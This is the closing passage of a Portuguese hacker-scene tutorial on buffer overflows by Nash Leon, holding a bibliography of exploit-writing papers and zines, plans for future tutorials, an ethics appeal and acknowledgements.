Pode ser obtido em: www.infowar.co.uk/thc/ -> Procure por thc-mag3.zip. "Writing buffer overflow exploits - a tutorial for beginners" por Mixter. Pode ser encontrado em: http://members.tripod.com/mixtersecurity/papers.html http://1337.tsx.org/ "How to write Buffer Overflows" - por Mudge. Pode ser obtido em : http://www.l0pht.com/ http://www.insecure.org/stf/mudge_buffer_overflow_tutorial.html "Buffer Overruns, whats the real story?" - por Lefty. Pode ser obtido em: http://packetstorm.securify.com/ http://www.securityfocus.com/ "Attack Class: Buffer Overflows" - por Evan Thomas. Pode ser obtido em: http://helloworld.ca/ ** Existem bons materiais em portugues, que merecem sim uma olhada. Nao sei aonde se acha, mas sei dos zines da Axur e da RWX. Procure em algum sistema de busca. Axur0503.new - Item 6 - "The Stack" - por csh. rwx01.txt - Item 2 - "OVERFLOWS" - por auth. ** E tambem um bom material recente: mbcbuffer.txt - "INSIDE TO BUFFERS OVERFLOWS" - por cync. Pode ser obtido em: http://www.mbc-corp.com.br Nao conheco outros txts em portugues, mas vale a gratidao a todos aqueles que tem contribuido para democratizar informacoes nao soh no nosso pais como em todos os cantos da Terra. Alguns links: http://bounce.to/unah16/ -> Info sobre o Projeto Omega. http://www.posthuman.za.net -> Zine f0rbidden knowledge, procure a edicao 08, tem algo sobre overflows. "Crispin Cowan, et al., StackGuard: Automatic Adaptive Detection and Prevention of Buffer-Overflow Attacks" - Sobre o Stack Guard. http://www.cse.ogi.edu/DISC/projects/immunix/StackGuard/usenixsc98_html/ ......................................................................... 10.2 Consideracoes Finais. -------------------------- Aih estah amigo, por enquanto isso eh tudo.Em breve estarei disponibilizando mais materiais de nivel, visando maior abrangencia de conhecimentos por parte de todos aqueles que se encontrarem dispostos a aprender.Tem muitas coisas sobre buffer overflows ainda, creio que em breve estarei disponibilizando mais tutoriais sobre programacao de sockets e shellcodes acoplando junto sempre exemplos de buffer overflows. Em breve estarah sendo disponibilizado algo tambem referente a programacao IPC, bem como alguma coisa sobre TCP/IP. Com a chegada destes materiais, vai ficar mais facil a compreensao de futuros tutoriais de sockets, investindo em UDP e RAW sockets, bem como com a chegada dos tutoriais de IPC, em exploitacao remota e de funcoes mais complexas.Eh soh questao de tempo, paciencia amigo!! Gostaria de agradecer aqueles que de uma forma ou de outra, tem colaborado com a distribuicao das informacoes aqui contidas, bem como ao pessoal que tem dado apoio.Espero que tudo isso sirva para alguem, bem como que isso possa ser passado para mais e mais pessoas, visando nao praticar coisas ruins, creio que ainda ha espaco para a etica, e a beleza da etica, ainda pode mudar pessoas, por isso, amigo, faca sua parte, nao deixe a chama apagar, mas nao queime nunca alguem com ela. Termino aqui direcionando meus agradecimentos a Ramona, meu grande amigo zip, module, psych, e-brain, raynox, t[rex], xf86config, cs0, Cdma, Matt_Salermo, Dani_Linidinha, CeZiNHa, f00, ocorvo, thunderoffire, Blind_Bard, d3m3ns, Dinamite_, e Magic Kiss.:) Nash Leon vulgo coracaodelao nashleon@yahoo.com.br ----------------------------------EOF-----------------------------------